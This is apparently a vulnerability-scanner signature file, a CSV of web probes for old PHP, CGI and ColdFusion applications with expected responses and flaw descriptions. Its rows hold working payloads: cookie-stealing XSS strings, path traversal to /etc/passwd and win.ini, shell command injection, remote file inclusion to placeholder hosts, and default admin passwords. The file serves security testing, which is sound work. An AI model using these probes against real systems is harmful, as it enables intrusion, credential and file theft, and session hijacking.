"generic","/admin/login.php?action=insert&username=test&password=test","200","GET","phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify."
"generic","/admin/login.php?path=\"></form><form name=a><input name=i value=XSS>&lt;script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","mcNews 1.1a from phpforums.net is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/admin/phpinfo.php","200","GET","Immobilier allows phpinfo to be run. See http://www.frog-man.org/tutos/Immoblier.txt"
"generic","/admin/phpinfo.php","200","GET","phPay v2.02 information disclosure via phpInfo() script. http://phpay.sourceforge.net/."
"generic","/admin/system.php3?cmd=cat%20/etc/passwd","root:","GET","DotBr 0.1 allows remote command execution."
"generic","/admin/system.php3?cmd=dir%20c:\","boot.ini","GET","DotBr 0.1 allows remote command execution."
"generic","/admin/system_footer.php","200","GET","myphpnuke version 1.8.8_final_7 reveals detailed system information."
"generic","/Administration/","200","GET","This might be interesting..."
"generic","/administration/","200","GET","This might be interesting..."
"generic","/administrator/","200","GET","This might be interesting..."
"generic","/administrator/gallery/gallery.php?directory=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/administrator/gallery/navigation.php?directory=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/administrator/gallery/uploadimage.php","200","GET","Mambo PHP Portal/Server 4.0.12 BETA and below may allow upload of any file type simply putting '.jpg' before the real file extension."
"generic","/administrator/gallery/uploadimage.php?directory=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/administrator/gallery/view.php?path=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/administrator/popups/sectionswindow.php?type=web&link=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/administrator/upload.php?newbanner=1&choice=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/Admin_files/","200","GET","This might be interesting..."
"generic","/Admin_files/order.log","200","GET","Selena Sol's WebStore 1.0 exposes order information, http://www.extropia.com/, http://www.mindsec.com/advisories/post2.txt."
"generic","/advwebadmin/","200","GET","This might be interesting...probably HostingController, www.hostingcontroller.com"
"generic","/agentadmin.php","200","GET","Immobilier may allow php files to be included from remote sites. See http://www.frog-man.org/tutos/Immoblier.txt"
"generic","/akopia/","200","GET","Akopia is installed."
"generic","/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Aktivate Shopping Cart 1.03 and lower are vulnerable to Cross Site Scripting (XSS). http://www.allen0keul.com/aktivate/ CAN-2001-1212, CA-2000-02."
"generic","/albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd","root:","GET","Coppermine 1.0 RC3 may have been compromised to allow arbitrary file retreival. Upgrade to the latest at http://www.chezgreg.net/coppermine/"
"generic","/analog/","200","GET","This might be interesting..."
"generic","/ans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely.  http://ans.gq.nu/ default admin string 'admin:aaLR8vE.jjhss:root@127.0.0.1', password file location 'ans_data/ans.passwd'"
"generic","/ans/ans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely."
"generic","/anthill/login.php","200","GET","Anthill bug tracking system may be installed. Versions lower than 0.1.6.1 allow XSS/HTML injection and may allow users to bypass login requirements. http://anthill.vmlinuz.ca/ and CA-2000-02"
"generic","/app/","200","GET","This might be interesting..."
"generic","/apps/","200","GET","This might be interesting..."
"generic","/archive/","200","GET","This might be interesting..."
"generic","/article.php?article=4965&post=1111111111","Unable to jump to row","GET","PHP FirstPost can reveal MySQL errors and file system paths if invalid posts are sent."
"generic","/article.php?sid=\"><Img Src=javascript:alert('Vulnerable')><Img Src=\"","<script>alert('Vulnerable')</script>","GET","phpWebSite 0.8.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/asp/","200","GET","This might be interesting..."
"generic","/ASP/cart/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
"generic","/atc/","200","GET","This might be interesting..."
"generic","/author.asp","200","GET","May be FactoSystem CMS, which could include SQL injection problems which could not be tested remotely."
"generic","/autohtml.php?op=modload&mainfile=x&name=/etc/passwd","root:","GET","php-proxima 6.0 and below allows arbitrary files to be retrieved."
"generic","/awebvisit.stat","200","GET","Just found this log file..."
"generic","/axis-cgi/buffer/command.cgi","200","GET","Axis WebCam 2400 may allow overwriting or creating files on the system. See http://www.websec.org/adv/axis2400.txt.html for details."
"generic","/a_security.htm","name=\"viewingpasswrd\" value=","GET","Polycom ViewStation FX Release v4.2 reveals the admin password in the change password form's HTML."
"generic","/b2-include/b2edit.showposts.php","200","GET","Some versions of B2 (cafelog.com) are vulnerable to remote inclusion by redefining $b2inc to a remote php file. Upgrade to a version higher than b2.06pre2. This vulnerability could not be confirmed."
"generic","/backup/","200","GET","This might be interesting..."
"generic","/bak/","200","GET","This might be interesting..."
"generic","/ban.bak","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
"generic","/ban.dat","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
"generic","/ban.log","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
"generic","/banmat.pwd","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
"generic","/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1","root:","GET","Remote file retrieval."
"generic","/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=sec&password=secu","root:","GET","Remote file retrieval."
"generic","/bb-dnbd/faxsurvey","200","GET","This may allow arbitrary command execution."
"generic","/bb000001.pl<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320."
"generic","/bc4j.html","Business Components","GET","Default Oracle page, may allow limited administration."
"generic","/beta/","200","GET","This might be interesting..."
"generic","/bigconf.cgi","200","GET","BigIP Configuration CGI"
"generic","/billing/billing.apw","PASS BOX CAPTION:","GET","CoffeeCup password wizzard allows password files to be read remotely."
"generic","/bin/","200","GET","This might be interesting..."
"generic","/blah-whatever-badfile.jsp","Script /","GET","The web server is configured to respond with the web server path when requesting a non-existent .jsp file."
"generic","/blah123.php","Failed opening ","GET","PHP is configured to give descriptive error messages which can reveal file system paths."
"generic","/blah_badfile.shtml","200","GET","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->"
"generic","/bottom.html","Topaz Prism","GET","Topaz Prism appears to be running, try login with admin/admin."
"generic","/buy/","200","GET","This might be interesting..."
"generic","/buynow/","200","GET","This might be interesting..."
"generic","/c/","200","GET","This might be interesting..."
"generic","/c32web.exe/ChangeAdminPassword","200","GET","This CGI may contain a backdoor and may allow attackers to change the Cart32 admin password."
"generic","/ca/..\\..\\..\\..\\..\\..\\..\\..\\winnt/\\win.ini","[fonts]","GET","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name. CAN-2000-1076"
"generic","/ca/..\\..\\..\\..\\..\\..\\/\\etc/\\passwd","root:","GET","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name. CAN-2000-1076"
"generic","/ca//\\../\\../\\../\\../\\../\\../\\windows/\\win.ini","[windows]","GET","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name. CAN-2000-1076"
"generic","/ca000001.pl?ACTION=SHOWCART&hop=\"><script>alert('Vulnerable')</script>&PATH=acatalog%2f","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/ca000007.pl?ACTION=SHOWCART&REFPAGE=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/cache-stats/","200","GET","This might be interesting..."
"generic","/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05","alert(document.cookie)","GET","DCP-Portal v5.3.1 is vulnerable to  Cross Site Scripting (XSS). CA-2000-02."
"generic","/cart/","200","GET","This might be interesting..."
"generic","/cartcart.cgi","200","GET","If this is Dansie shopping cart 3.0.8 or earlier, it contains a backdoor to allow attackers to execute arbitrary commands."
"generic","/catalog/includes/include_once.php","200","GET","This phpWebSite script may allow inclusion of remote scripts by adding ?inc_prefix=http://YOURHOST/"
"generic","/categorie.php3?cid=june","Unable to jump to row","GET","Black Tie Project (BTP) can reveal MySQL errors and file system paths if an invalid cid is sent."
"generic","/catinfo","200","GET","May be vulnerable to a buffer overflow. Request '/catinfo?' and add on 2048 of garbage to test."
"generic","/catinfo?<u><b>TESTING","<u><b>TESTING","GET","The Interscan Viruswall catinfo script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/catinfo?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","GET","The Interscan Viruswall CGI may be vulnerable to a remote buffer overflow. CAN-2001-0432. BID-2579."
"generic","/cbms/cbmsfoot.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
"generic","/cbms/changepass.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
"generic","/cbms/editclient.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
"generic","/cbms/passgen.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
"generic","/cbms/realinv.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
"generic","/cbms/usersetup.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
"generic","/ccard/","200","GET","This might be interesting..."
"generic","/ccbill/secure/ccbill.log","200","GET","This might be interesting... CC Bill log file?"
"generic","/cfappman/index.cfm","200","GET","susceptible to ODBC/pipe-style exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm"
"generic","/cfcache.map","Mapping","GET","May leak directory listing, may also leave server open to a DOS. http://www.securiteam.com/windowsntfocus/ColdFusion_Information_Exposure__CFCACHE_Tag_.html"
"generic","/cfdocs/cfcache.map","Mapping","GET","May leak directory listing, may also leave server open to a DOS"
"generic","/cfdocs/cfmlsyntaxcheck.cfm","200","GET","can be used for a DoS on the server by requesting it check all .exe's"
"generic","/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=c:\boot.ini","boot loader","GET","Allows attacker to view arbitrary files"
"generic","/cfdocs/exampleapp/email/application.cfm","200","GET","This might be interesting..."
"generic","/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini","boot loader","GET","Allows attacker to view arbitrary files"
"generic","/cfdocs/exampleapp/publish/admin/addcontent.cfm","200","GET","This might be interesting..."
"generic","/cfdocs/exampleapp/publish/admin/application.cfm","200","GET","This might be interesting..."
"generic","/cfdocs/examples/cvbeans/beaninfo.cfm","200","GET","susceptible to our ODBC exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm"
"generic","/cfdocs/examples/httpclient/mainframeset.cfm","200","GET","This might be interesting"
"generic","/cfdocs/examples/parks/detail.cfm","200","GET","susceptible to our ODBC exploit; see RFP9901 http://www.wiretrip.net/rfp/p/doc.asp/i2/d3.htm"
"generic","/cfdocs/expeval/displayopenedfile.cfm","200","GET","Unknown vul"
"generic","/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini","boot loader","GET","Allows attacker to view arbitrary files."
"generic","/cfdocs/expeval/openfile.cfm","200","GET","Can use to expose the system/server path."
"generic","/cfdocs/expeval/sendmail.cfm","200","GET","can be used to send email; go to the page and fill in the form"
"generic","/cfdocs/snippets/evaluate.cfm","200","GET","can enter CF code to be evaluated, or create denial of service see www.allaire.com/security/ technical papers and advisories for info"
"generic","/cfdocs/snippets/fileexists.cfm","200","GET","can be used to verify the existance of files (on the same drive info as the web tree/file)"
"generic","/cfdocs/snippets/gettempdirectory.cfm","200","GET","depending on install, creates files, gives you physical drive info, sometimes defaults to \winnt\ directory as temp directory"
"generic","/cfdocs/snippets/viewexample.cfm","200","GET","this can be used to view .cfm files, request viewexample.cfm?Tagname=..\..\..\file  (.cfm is assumed)"
"generic","/CFIDE/administrator/index.cfm","PasswordProvided","GET","Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538, ALLAIRE:ASB00-14, BID-1314."
"generic","/cfide/administrator/index.cfm","PasswordProvided","GET","Coldfusion 4.5.1 and earlier may have an overflow DoS by modifying the login page and submit 40k character passwords. This page should not be accessible to all users. CVE-2000-0538, ALLAIRE:ASB00-14, BID-1314."
"generic","/cfide/Administrator/startstop.html","200","GET","can start/stop the server"
"generic","/CFIDE/probe.cfm","Error occured in:","GET","Cold Fusion MX Server reveals the file system path to the web root in error messages. Set 'Enable Robust Exception Information' on the 'Debugging Settings' page."
"generic","/cgi-bin-sdb/printenv","/usr/bin/perl","GET","SuSe is configured with a link from cgi-bin-sdb to cgi-bin. Change the accompanying 'Alias' to 'ScriptAlias' in httpd.conf"
"generic","/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi","200","GET","Older versions of this CGI allow any user to change the administrator password."
"generic","/cgi-bin/admin/admin.cgi","200","GET","May be ImageFolio Pro administration CGI. Default login is Admin/ImageFolio."
"generic","/cgi-bin/admin/setup.cgi","200","GET","May be ImageFolio Pro setup CGI. Default login is Admin/ImageFolio."
"generic","/cgi-bin/bigconf.cgi","200","GET","BigIP Configuration CGI"
"generic","/cgi-bin/common/listrec.pl","200","GET","This CGI allows attackers to execute commands on the host."
"generic","/cgi-bin/dbmlparser.exe","200","GET","This might be interesting..."
"generic","/cgi-bin/handler","200","GET","comes with IRIX 5.3 - 6.4; allows to run arbitrary commands"
"generic","/cgi-bin/handler/netsonar;cat	/etc/passwd|?data=Download","root:","GET","comes with IRIX 5.3 - 6.4; allows to run arbitrary commands"
"generic","/cgi-bin/icat","200","GET","This might be interesting..."
"generic","/cgi-bin/MachineInfo","200","GET","gives out information on the machine (IRIX), including hostname"
"generic","/cgi-bin/pfdisplay.cgi","200","GET","comes with IRIX 6.2-6.4; allows to run arbitrary commands"
"generic","/cgi-bin/test2.pl?&lt;script&gt;alert('Vulnerable');&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","Default Monkey server script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/cgi-bin/webdist.cgi","200","GET","comes with IRIX 5.0 - 6.3; allows to run arbitrary commands"
"generic","/cgi-bin/wrap","200","GET","comes with IRIX 6.2; allows to view directories"
"generic","/cgi-local/cgiemail-1.4/cgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/cgi-local/cgiemail-1.4/cgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
"generic","/cgi-local/cgiemail-1.6/cgicso?query=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This CGI is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/cgi-local/cgiemail-1.6/cgicso?query=AAA","400 Required field missing: fingerhost","GET","This CGI allows attackers to execute remote commands."
"generic","/cgi-shop/view_item?HTML_FILE=../../../../../../../../../../etc/passwd%00","root:","GET","This CGI allows reading of remote files. CAN-2001-1019."
"generic","/cgi-sys/addalink.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/cgiecho","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/cgiemail","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/countedit","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/domainredirect.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/entropybanner.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/entropysearch.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/FormMail-clone.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/helpdesk.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/mchat.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/randhtml.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/realhelpdesk.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/realsignup.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/scgiwrap","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi-sys/signup.cgi","200","GET","Default CGI, often with a hosting manager of some sort. No known problems, but host managers allow sys admin via web"
"generic","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\windows\win.ini","[fonts]","GET","The ColdFusion install allows attackers to read arbitrary files remotely"
"generic","/cgi/cfdocs/expeval/ExprCalc.cfm?OpenFilePath=c:\winnt\win.ini","[fonts]","GET","The ColdFusion install allows attackers to read arbitrary files remotely"
"generic","/cgi/cgiproc?","200","GET","It may be possible to crash Nortel Contivity VxWorks by requesting '/cgi/cgiproc?$' (not attempted!). Upgrade to version 2.60 or later."
"generic","/cgis/wwwboard/wwwboard.cgi","200","GET","Versions 2.0 Alpha and below have multiple problems. See BID-649 and BID 1795. Default ID 'WebAdmin' with pass 'WebBoard'."
"generic","/cgis/wwwboard/wwwboard.pl","200","GET","Versions 2.0 Alpha and below have multiple problems. See BID-649 and BID 1795. Default ID 'WebAdmin' with pass 'WebBoard'."
"generic","/chassis/config/GeneralChassisConfig.html","Chassis Configuration","GET","The Cabletron switch may allow remote configuration, or data retrieval, through the web interface."
"generic","/chat/!nicks.txt","200","GET","WF-Chat 1.0 Beta allows retrieval of user information."
"generic","/chat/!pwds.txt","200","GET","WF-Chat 1.0 Beta allows retrieval of user information."
"generic","/chat/data/usr","200","GET","SimpleChat! 1.3 allows retrieval of user information."
"generic","/chat/register.php?register=yes&username=OverG&email=<script>alert%20(\"Vulnerable\")</script>&email1=<script>alert%20(\"Vulnerable\")</script>","alert(\"Vulnerable\")</script>","GET","PHP Web Chat 2.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/class/mysql.class","This program is free software","GET","Basilix allows its configuration files to be downloaded, which  may include the mysql auth credentials."
"generic","/cleartrust/ct_logon.asp?CTAuthMode=BASIC&CTLoginErrorMsg=xx&ct_orig_uri=\">< script>alert(1)/script><\"","<script>alert(1)</script>","GET","RSA ClearTrust allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/cleartrust/ct_logon.asp?CTLoginErrorMsg=<script>alert(1)</script>","<script>alert(1)</script>","GET","RSA ClearTrust allows Cross Site Scripting (XSS). CA-2000-02."
"generic","/code/","Index of ","GET","This might be interesting..."
"generic","/com","index of","GET","Java class files may be browsable."
"generic","/COM","index of","GET","Java class files may be browsable."
"generic","/comments.php?subject=<script>alert('Vulnerable')</script>&comment=<script>alert('Vulnerable')</script>&pid=0&sid=0&mode=&order=&thold=op=Preview","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's comments.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02."
"generic","/comments/browse.php?fid=2&tid=4&go=&lt;script&gt;alert('Vulnerable')&lt;/script&gt;","<script>alert('Vulnerable')</script>","GET","php(Reactor) v1.2.7 and older are vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/config.inc","200","GET","DotBr 0.1 configuration file includes usernames and passwords."
"generic","/config/","200","GET","Configuration information may be available remotely."
"generic","/config/","Index of ","GET","This might be interesting..."
"generic","/config/checks.txt","200","GET","This might be interesting..."
"generic","/Config1.htm","200","GET","This may be a D-Link, some devices have a DoS condition if an oversized POST request is sent. This DoS was not tested. See http://www.phenoelit.de/stuff/dp-300.txt for info."
"generic","/contents.php?new_language=elvish&mode=select","200","GET","Requesting a file with an invalid language selection from DC Portal may reveal the system path."
"generic","/counter/","Index of ","GET","This might be interesting..."
"generic","/counter/1/n/n/0/3/5/0/a/123.gif","200","GET","The Roxen Counter may eat up excessive CPU time with image requests."
"generic","/cpanel/","200","GET","Web-based control panel"
"generic","/cplogfile.log","200","GET","XMB Magic Lantern forum 1.6b final (http://www.xmbforum.com) log file is readable remotely. Upgrade to the latest version."
"generic","/credit/","Index of ","GET","This might be interesting..."
"generic","/current/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00","root:","GET","w-agora 4.1.5 allows any file to be retrieved from the remote host."
"generic","/current/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1","root:","GET","w-agora 4.1.5 allows any file to be retrieved from the remote host."
"generic","/custdata/","200","GET","This may be COWS (CGI Online Worldweb Shopping), and may be interesting..."
"generic","/customers/","Index of ","GET","This might be interesting..."
"generic","/CVS/Entries","200","GET","CVS Entries file may contain directory listing information."
"generic","/dan_o.dat","200","GET","Just found this log file..."
"generic","/dat/","200","GET","This might be interesting..."
"generic","/data/","200","GET","This might be interesting..."
"generic","/data/member_log.txt","200","GET","Teekai's forum full 1.2 member's log can be retrieved remotely."
"generic","/data/userlog/log.txt","200","GET","Teekai's Tracking Online 1.0 log can be retrieved remotely."
"generic","/database/","200","GET","Databases? Really??"
"generic","/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
"generic","/databases/","200","GET","Databases? Really??"
"generic","/db/","200","GET","This might be interesting..."
"generic","/db/users.dat","200","GET","upb PB allows the user database to be retrieved remotely."
"generic","/DB4Web/10.10.10.10:100","connect()","GET","The remote DB4Web server may allow you to connect to arbitrary machines and ports."
"generic","/dbase/","200","GET","This might be interesting..."
"generic","/dc/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","/dc/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","/dcforum/dcforum.cgi?az=list&forum=../../../../../../../../../../etc/passwd%00","root:","GET","This install of DCForum allows attackers to read arbitrary files on the host."
"generic","/dcshop/auth_data/auth_user_file.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","/dcshop/orders/orders.txt","200","GET","The DCShop installation allows credit card numbers to be viewed remotely. See dcscripts.com for fix information."
"generic","/default.php?error_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E","<script language=javascript>window.alert(document.cookie);</script>","GET","osCommerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/default.php?info_message=%3Cscript%20language=javascript%3Ewindow.alert%28document.cookie%29;%3C/script%3E","<script language=javascript>window.alert(document.cookie);</script>","GET","osCommerce is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/demo/","200","GET","This may be interesting..."
"generic","/demo/ojspext/events/globals.jsa","event:application_OnStart","GET","Oracle 9iAS allows .jsa files to be retrieved, which may contain sensitive information."
"generic","/demo/sql/index.jsp","JSP SQL Samples","GET","This default may allow connectivity to the Oracle databases."
"generic","/dev/","200","GET","This might be interesting..."
"generic","/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00","root:","GET","Typo3 allows any file to be retrieved from the remote host."
"generic","/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00","root:","GET","Typo3 allows any file to be retrieved remotely. Upgrade to the latest version."
"generic","/devel/","200","GET","This might be interesting..."
"generic","/development/","200","GET","This might be interesting..."
"generic","/directory.php?dir=%3Bcat%20/etc/passwd","root:","GET","Marcus S. Xenakis directory.php script allows for command execution. CAN-2002-0434."
"generic","/DMR/","200","GET","This might be interesting..."
"generic","/dms0","DMSDUMP version","GET","Default Oracle 9iAS allows access to Dynamic Monitoring Services"
"generic","/doc-html/","200","GET","This might be interesting..."
"generic","/doc/","200","GET","The /doc directory is browsable. This may be /usr/doc."
"generic","/doc/packages/","index of /doc","GET","This directory may show attackers all the packages installed on the system."
"generic","/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini","boot loader","GET","Gafware's CFXImage allows remote users to view any file on the system."
"generic","/DomainFiles/*//../../../../../../../../../../etc/passwd","root:","GET","Communigate Pro 4.0b to 4.0.2 allow any file to be retrieved from the remote system."
"generic","/dostuff.php?action=modify_user","200","GET","Blahz-DNS allows unauthorized users to edit user information. Upgrade to version 0.25 or higher. http://blahzdns.sourceforge.net/"
"generic","/down/","200","GET","This might be interesting..."
"generic","/download.php?op=viewdownload","Failed opening","GET","PHPNuke allows file system paths to be revealed."
"generic","/download.php?op=viewdownload","Fatal error","GET","PHPNuke allows file system paths to be revealed."
"generic","/download.php?sortby=&dcategory=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","This version of PHP-Nuke's download.php is vulnerable to Cross Site Scripting (XSS). Upgrade to the latest version. CA-2000-02."
"generic","/download/","200","GET","This might be interesting..."
"generic","/downloads/","200","GET","This might be interesting..."
"generic","/downloads/pafiledb.php?action=download&id=4?\"&lt;script&gt;alert('Vulnerable')&lt;/script&gt;\"","<script>alert('Vulnerable')</script>","GET","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/downloads/pafiledb.php?action=email&id=4?\"&lt;script&gt;alert('Vulnerable')&lt;/script&gt;\"","<script>alert('Vulnerable')</script>","GET","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/downloads/pafiledb.php?action=rate&id=4?\"&lt;script&gt;alert('Vulnerable')&lt;/script&gt;\"","<script>alert('Vulnerable')</script>","GET","Pafiledb by PHP Arena is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/easylog/easylog.html","200","GET","Just found this file..."
"generic","/edittag/edittag.cgi?file=%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd","root:","GET","EditTag allows arbitrary file retrieval."
"generic","/emailfriend/emailarticle.php?id=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/emailfriend/emailfaq.php?id=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/emailfriend/emailnews.php?id=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
"generic","/employees/","200","GET","This might be interesting..."
"generic","/error/500error.jsp?et=1<script>alert('Vulnerable')</script>;","<script>alert('Vulnerable')</script>","GET","Macromedia Sitespring 1.2.0(277.1) on Windows 2000 is vulnerable to Cross Site Scripting (XSS) in the error pages. CA-2000-02."
"generic","/errors/needinit.php?GALLERY_BASEDIR=http://xxxxxxxx/","http://xxxxxxxx/errors/configure_instructions","GET","Gallery 1.3.0 and below allow PHP files to be included from another domain. Upgrade to the latest version."
"generic","/etc/passwd","root:","GET","An '/etc/passwd' file is available through the web site. This may not be good at all."
